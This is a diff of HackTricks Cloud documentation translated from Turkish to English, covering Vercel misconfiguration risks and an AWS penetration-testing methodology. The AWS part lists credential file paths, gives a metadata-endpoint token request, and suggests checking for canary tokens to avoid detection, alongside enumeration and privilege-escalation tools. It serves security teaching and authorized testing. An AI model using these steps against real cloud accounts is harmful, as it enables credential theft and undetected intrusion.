**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
|
||||
|
||||
#### **Potansiyel Yanlış Yapılandırmalar ve Riskler**
|
||||
#### **Potential Misconfigurations and Risks**
|
||||
|
||||
1. **Yanlış AWS Bölgesi Seçimi**
|
||||
- **Yanlış Yapılandırma:** Güvenli Hesaplama ağı için arka uç hizmetlerinin bölgesiyle eşleşmeyen bir AWS bölgesi seçmek.
|
||||
- **Risk:** Artan gecikme, potansiyel veri ikamet uyumu sorunları ve kötüleşen performans.
|
||||
2. **Çakışan CIDR Blokları**
|
||||
- **Yanlış Yapılandırma:** Mevcut VPC'lerle veya diğer ağlarla çakışan CIDR blokları seçmek.
|
||||
- **Risk:** Ağ çatışmaları, başarısız bağlantılar, yetkisiz erişim veya ağlar arasında veri sızıntısına yol açabilir.
|
||||
3. **Yanlış VPC Peering Yapılandırması**
|
||||
- **Yanlış Yapılandırma:** VPC peering'i yanlış ayarlamak (örneğin, yanlış VPC kimlikleri, eksik yönlendirme tablosu güncellemeleri).
|
||||
- **Risk:** Arka uç altyapısına yetkisiz erişim, güvenli bağlantıların başarısız olması ve potansiyel veri ihlalleri.
|
||||
4. **Aşırı Proje Atamaları**
|
||||
- **Yanlış Yapılandırma:** Uygun izolasyon olmadan tek bir Güvenli Hesaplama ağına birden fazla proje atamak.
|
||||
- **Risk:** Paylaşılan IP açığı, saldırı yüzeyini artırır ve potansiyel olarak tehlikeye atılmış projelerin diğerlerini etkilemesine izin verir.
|
||||
5. **Yetersiz IP Adresi Yönetimi**
|
||||
- **Yanlış Yapılandırma:** Ayrıcalıklı IP adreslerini uygun şekilde yönetmemek veya döndürmemek.
|
||||
- **Risk:** IP sahteciliği, izleme zafiyetleri ve IP'lerin kötü niyetli faaliyetlerle ilişkilendirilmesi durumunda potansiyel kara listeye alınma.
|
||||
6. **Gereksiz Derleme Konteynerlerini Dahil Etme**
|
||||
- **Yanlış Yapılandırma:** Arka uç erişimi gerekmeyen durumlarda Güvenli Hesaplama ağına derleme konteynerlerini eklemek.
|
||||
- **Risk:** Genişleyen saldırı yüzeyi, artan tahsis gecikmeleri ve ağ kaynaklarının gereksiz tüketimi.
|
||||
7. **Atlatma Sırlarını Güvenli Bir Şekilde Yönetmeme**
|
||||
- **Yanlış Yapılandırma:** Dağıtım korumalarını atlatmak için kullanılan sırları açığa çıkarmak veya yanlış yönetmek.
|
||||
- **Risk:** Korunan dağıtımlara yetkisiz erişim, saldırganların kötü niyetli kodu manipüle etmesine veya dağıtmasına izin verir.
|
||||
8. **Bölge Yedekleme Yapılandırmalarını Görmezden Gelme**
|
||||
- **Yanlış Yapılandırma:** Pasif yedekleme bölgeleri kurmamak veya yedekleme ayarlarını yanlış yapılandırmak.
|
||||
- **Risk:** Birincil bölge kesintileri sırasında hizmet kesintisi, kullanılabilirliğin azalması ve potansiyel veri tutarsızlığı.
|
||||
9. **VPC Peering Bağlantı Sınırlarını Aşma**
|
||||
- **Yanlış Yapılandırma:** İzin verilen sınırdan daha fazla VPC peering bağlantısı kurmaya çalışmak (örneğin, 50 bağlantıyı aşmak).
|
||||
- **Risk:** Gerekli arka uç hizmetlerine güvenli bir şekilde bağlanamama, dağıtım hataları ve operasyonel kesintiler.
|
||||
10. **Güvensiz Ağ Ayarları**
|
||||
- **Yanlış Yapılandırma:** Zayıf güvenlik duvarı kuralları, şifreleme eksikliği veya Güvenli Hesaplama ağı içinde yanlış ağ segmentasyonu.
|
||||
- **Risk:** Veri kesintisi, arka uç hizmetlerine yetkisiz erişim ve saldırılara karşı artan zafiyet.
|
||||
1. **Incorrect AWS Region Selection**
|
||||
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
|
||||
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
|
||||
2. **Overlapping CIDR Blocks**
|
||||
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
|
||||
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
|
||||
3. **Improper VPC Peering Configuration**
|
||||
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
|
||||
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
|
||||
4. **Excessive Project Assignments**
|
||||
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
|
||||
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
|
||||
5. **Inadequate IP Address Management**
|
||||
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
|
||||
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
|
||||
6. **Including Build Containers Unnecessarily**
|
||||
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
|
||||
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
|
||||
7. **Failure to Securely Handle Bypass Secrets**
|
||||
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
|
||||
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
|
||||
8. **Ignoring Region Failover Configurations**
|
||||
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
|
||||
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
|
||||
9. **Exceeding VPC Peering Connection Limits**
|
||||
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
|
||||
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
|
||||
10. **Insecure Network Settings**
|
||||
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
|
||||
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
|
||||
|
||||
---
|
||||
|
||||
### Ortam Değişkenleri
|
||||
### Environment Variables
|
||||
|
||||
**Amaç:** Tüm projelerde kullanılan ortam spesifik değişkenleri ve sırları yönetmek.
|
||||
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Hassas Değişkenlerin Açığa Çıkması**
|
||||
- **Yanlış Yapılandırma:** Hassas değişkenleri `NEXT_PUBLIC_` ile öneklemek, bunları istemci tarafında erişilebilir hale getirir.
|
||||
- **Risk:** API anahtarlarının, veritabanı kimlik bilgilerinin veya diğer hassas verilerin kamuya açılması, veri ihlallerine yol açar.
|
||||
- **Hassas devre dışı**
|
||||
- **Yanlış Yapılandırma:** Devre dışı bırakıldığında (varsayılan) üretilen sırların değerlerini okumak mümkündür.
|
||||
- **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması.
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Basic Information
|
||||
|
||||
**Pentesting'e başlamadan önce** bir **AWS** ortamında bilmeniz gereken birkaç **temel şey** var; bu, ne yapmanız gerektiğini, yanlış yapılandırmaları nasıl bulacağınızı ve bunları nasıl istismar edeceğinizi anlamanıza yardımcı olacaktır.
|
||||
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
|
||||
Organizasyon hiyerarşisi, IAM ve diğer temel kavramlar hakkında bilgiler:
|
||||
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Öğrenme Laboratuvarları
|
||||
## Labs to learn
|
||||
|
||||
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
|
||||
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
|
||||
@@ -22,49 +22,49 @@ aws-basic-information/
|
||||
- [http://flaws.cloud/](http://flaws.cloud/)
|
||||
- [http://flaws2.cloud/](http://flaws2.cloud/)
|
||||
|
||||
Saldırı simülasyonu için araçlar:
|
||||
Tools to simulate attacks:
|
||||
|
||||
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
|
||||
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
|
||||
|
||||
## AWS Pentester/Kırmızı Ekip Metodolojisi
|
||||
## AWS Pentester/Red Team Methodology
|
||||
|
||||
Bir AWS ortamını denetlemek için bilmeniz gereken çok önemli noktalar: hangi **hizmetlerin kullanıldığı**, neyin **açık olduğu**, kimin neye **erişimi olduğu** ve iç AWS hizmetlerinin **harici hizmetlerle** nasıl bağlantılı olduğudur.
|
||||
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
|
||||
|
||||
Kırmızı ekip perspektifinden, bir AWS ortamını ele geçirmenin **ilk adımı** bazı **kimlik bilgilerini** elde etmektir. Bunu nasıl yapacağınıza dair bazı fikirler:
|
||||
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
|
||||
- Github'daki **sızıntılar** (veya benzeri) - OSINT
|
||||
- **Sosyal** Mühendislik
|
||||
- **Şifre** tekrar kullanımı (şifre sızıntıları)
|
||||
- AWS-Hosted Uygulamalardaki Güvenlik Açıkları
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) ile metadata uç noktasına erişim
|
||||
- **Yerel Dosya Okuma**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3. tarafların **ihlal edilmesi**
|
||||
- **İç** Çalışan
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)kimlik bilgileri
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in AWS-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
|
||||
|
||||
Ya da **kimlik doğrulaması yapılmamış bir hizmeti** ele geçirerek:
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
Ya da bir **gözden geçirme** yapıyorsanız, bu rollerle **kimlik bilgilerini istemek** isteyebilirsiniz:
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
|
||||
{{#ref}}
|
||||
aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Kimlik bilgilerini elde ettikten sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel numaralandırmalar yapmalısınız:
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
|
||||
## Temel Numaralandırma
|
||||
## Basic Enumeration
|
||||
|
||||
### SSRF
|
||||
|
||||
AWS içindeki bir makinede bir SSRF bulursanız, bu sayfayı kontrol edin:
|
||||
If you found a SSRF in a machine inside AWS check this page for tricks:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
@@ -72,7 +72,8 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
|
||||
### Whoami
|
||||
|
||||
Bilmeniz gereken ilk şeylerden biri, kim olduğunuzdur (hangi hesapta olduğunuz ve AWS ortamı hakkında diğer bilgiler):
|
||||
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
|
||||
|
||||
```bash
|
||||
# Easiest way, but might be monitored?
|
||||
aws sts get-caller-identity
|
||||
@@ -88,9 +89,10 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
|
||||
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Şirketlerin **canary token'lar** kullanarak **token'ların çalındığını ve kullanıldığını** tespit edebileceğini unutmayın. Kullanımdan önce bir token'ın canary token olup olmadığını kontrol etmeniz önerilir.\
|
||||
> Daha fazla bilgi için [**bu sayfayı kontrol edin**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
|
||||
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
@@ -100,30 +102,30 @@ aws-services/aws-organizations-enum.md
|
||||
|
||||
### IAM Enumeration
|
||||
|
||||
Yeterli izinleriniz varsa, **AWS hesabındaki her varlığın ayrıcalıklarını kontrol etmek** ne yapabileceğinizi ve diğer kimliklerin ne yapabileceğini anlamanıza yardımcı olacaktır ve **ayrıcalıkları yükseltme** yollarını öğrenmenizi sağlar.
|
||||
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
|
||||
IAM'yi listelemek için yeterli izniniz yoksa, bunları **bruteforce ile çalabilirsiniz**.\
|
||||
**Listeleme ve brute-forcing nasıl yapılır** kontrol edin:
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahip olduğunuzda** (ve eğer bir kırmızı takım üyesiyseniz umarım **tespit edilmemişsinizdir**). Ortamda hangi hizmetlerin kullanıldığını anlamanın zamanı geldi.\
|
||||
> Aşağıdaki bölümde **bazı yaygın hizmetleri listeleme** yollarını kontrol edebilirsiniz.
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
|
||||
AWS, şaşırtıcı bir hizmet sayısına sahiptir, aşağıdaki sayfada **temel bilgiler, listeleme** kılavuzları\*\*,\*\* **tespiti önleme**, **kalıcılık** sağlama ve bazıları hakkında diğer **post-exploitation** hilelerini bulacaksınız:
|
||||
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Tüm çalışmaları **manuel** olarak yapmanıza gerek olmadığını unutmayın, bu yazıda **[otomatik araçlar](#automated-tools)** hakkında bir **bölüm** bulabilirsiniz.
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
|
||||
|
||||
Ayrıca, bu aşamada **kimlik doğrulaması yapılmamış kullanıcılara açık daha fazla hizmet keşfetmiş olabilirsiniz**, bunları istismar edebilirsiniz:
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
@@ -131,7 +133,7 @@ aws-unauthenticated-enum-access/
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Farklı kaynaklar üzerindeki **en az kendi izinlerinizi kontrol edebiliyorsanız**, **daha fazla izin elde edip edemeyeceğinizi kontrol edebilirsiniz**. En azından aşağıdaki izinlere odaklanmalısınız:
|
||||
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
@@ -139,10 +141,10 @@ aws-privilege-escalation/
|
||||
|
||||
## Publicly Exposed Services
|
||||
|
||||
AWS hizmetlerini listeleme sırasında bazı hizmetlerin **İnternete elemanlar açtığını** bulmuş olabilirsiniz (VM/Konteyner portları, veritabanları veya kuyruk hizmetleri, anlık görüntüler veya bucket'lar...).\
|
||||
Pentester/kırmızı takım üyesi olarak, bunlarda **hassas bilgiler / zafiyetler** bulup bulamayacağınızı her zaman kontrol etmelisiniz, çünkü bunlar size **AWS hesabına daha fazla erişim** sağlayabilir.
|
||||
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
|
||||
Bu kitapta **açık AWS hizmetlerini bulma ve bunları kontrol etme** hakkında **bilgi** bulmalısınız. **Açık ağ hizmetlerinde zafiyetler bulma** hakkında, belirli **hizmeti** aramanızı öneririm:
|
||||
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/
|
||||
@@ -152,49 +154,52 @@ https://book.hacktricks.wiki/
|
||||
|
||||
### From the root/management account
|
||||
|
||||
Yönetim hesabı organizasyonda yeni hesaplar oluşturduğunda, yeni hesapta varsayılan olarak **`OrganizationAccountAccessRole`** adı verilen **yeni bir rol** oluşturulur ve **yönetim hesabına** yeni hesaba erişim için **AdministratorAccess** politikası verilir.
|
||||
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bu nedenle, bir çocuk hesaba yönetici olarak erişmek için şunlara ihtiyacınız var:
|
||||
So, in order to access as administrator a child account you need:
|
||||
|
||||
- **Yönetim** hesabını **ele geçirmek** ve **çocuk hesapların** **ID'sini** ve **rolün** **isimlerini** (varsayılan olarak OrganizationAccountAccessRole) bulmak, yönetim hesabının yönetici olarak erişmesine izin verir.
|
||||
- Çocuk hesapları bulmak için AWS konsolundaki organizasyonlar bölümüne gidin veya `aws organizations list-accounts` komutunu çalıştırın.
|
||||
- Rollerin adını doğrudan bulamazsınız, bu nedenle tüm özel IAM politikalarını kontrol edin ve **önceden keşfedilen çocuk hesaplar üzerinde `sts:AssumeRole` izni veren herhangi birini arayın**.
|
||||
- Yönetim hesabındaki bir **prensibi** **çocuk hesaplardaki rol üzerinde `sts:AssumeRole` izni ile ele geçirin** (hesap, yönetim hesabından herhangi birinin taklit etmesine izin veriyor olsa bile, dış bir hesap olduğu için belirli `sts:AssumeRole` izinleri gereklidir).
|
||||
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
|
||||
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
|
||||
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
|
||||
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
|
||||
|
||||
## Automated Tools
|
||||
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Ruby ile yazılmış çok iş parçacıklı AWS güvenlik odaklı **envanter toplama aracı**.
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
|
||||
# Recon and get json
|
||||
AWS_PROFILE=<profile> aws_recon \
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist, Bulut Sağlayıcılarından Varlıklar (Host Adları, IP Adresleri) almak için **çoklu bulut aracı**dır.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper, Amazon Web Services (AWS) ortamlarınızı analiz etmenize yardımcı olur. Artık güvenlik sorunları için denetim de dahil olmak üzere çok daha fazla işlevsellik içermektedir.
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
|
||||
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
{
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
}
|
||||
|
||||
# Enumerate
|
||||
@@ -224,7 +229,9 @@ python3 cloudmapper.py public --accounts dev
|
||||
python cloudmapper.py prepare #Prepare webserver
|
||||
python cloudmapper.py webserver #Show webserver
|
||||
```
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography, altyapı varlıklarını ve bunlar arasındaki ilişkileri, Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde birleştiren bir Python aracıdır.
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install cartography
|
||||
@@ -233,15 +240,17 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri toplayarak Neo4j veritabanı ile desteklenen sezgisel bir grafik görünümüne dönüştürür.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 kullanır) Bu, bir hesapta oluşturulan **tüm** [**AWS kaynaklarını**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) **keşfetmeye** çalışan bir araçtır.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Bu, bir AWS hesabıyla ilişkili **tüm genel IP adreslerini** (hem IPv4/IPv6) **alma** aracı.
|
||||
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Taranan AWS ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admins dahil, keşfedin. PowerShell kullanır. **`Check-PrivilegedPolicy`** fonksiyonunda **ayrıcalıklı politikaların tanımını** bulabilirsiniz [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu, bulut ortamlarına karşı saldırgan güvenlik testleri için tasarlanmış açık kaynaklı bir **AWS exploitation framework**'üdür. **Enumerate** edebilir, **yanlış yapılandırmaları** bulabilir ve **sömürebilir**. **`user_escalation_methods`** dict içinde [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) adresinde **ayrıcalıklı izinlerin tanımını** bulabilirsiniz.
|
||||
- Pacu'nun **sadece kendi privesc yollarınızı kontrol ettiğini** unutmayın (hesap genelinde değil).
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
|
||||
- Note that pacu **only checks your own privescs paths** (not account wide).
|
||||
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -255,7 +264,9 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper), bir AWS hesabı veya AWS organizasyonu için AWS Kimlik ve Erişim Yönetimi (IAM) yapılandırmasındaki riskleri belirlemek için bir script ve kütüphanedir. Farklı IAM Kullanıcıları ve Rolleri, bir hesabın yönlendirilmiş grafiği olarak modellenir; bu, **yetki yükseltme** ve bir saldırganın AWS'de bir kaynağa veya eyleme erişim kazanmak için alabileceği alternatif yollar için kontroller yapılmasını sağlar. **Privesc** yollarını bulmak için kullanılan **izinleri** kontrol edebilirsiniz, dosya adları `_edges.py` ile biten [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) içinde.
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -277,8 +288,10 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
|
||||
pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining, en az ayrıcalık ihlallerini tespit eden ve risk öncelikli bir HTML raporu oluşturan bir AWS IAM Güvenlik Değerlendirme aracıdır.\
|
||||
